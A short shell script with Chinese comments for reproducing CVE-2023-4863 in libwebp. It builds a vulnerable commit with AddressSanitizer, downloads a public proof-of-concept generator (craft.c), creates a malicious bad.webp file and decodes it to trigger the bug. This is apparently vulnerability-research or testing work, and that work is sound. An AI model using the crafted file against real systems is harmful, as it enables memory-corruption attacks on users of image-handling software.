# 签出 webp
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
# 签出存在漏洞的版本
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
# 启用 AddressSanitizer
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
# 构建 webp
make -f makefile.unix
cd examples/
# 获取 mistymntncop 的概念验证代码
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
# 构建并运行概念验证
gcc -o craft craft.c
./craft bad.webp
# 测试触发文件
./dwebp bad.webp -o test.png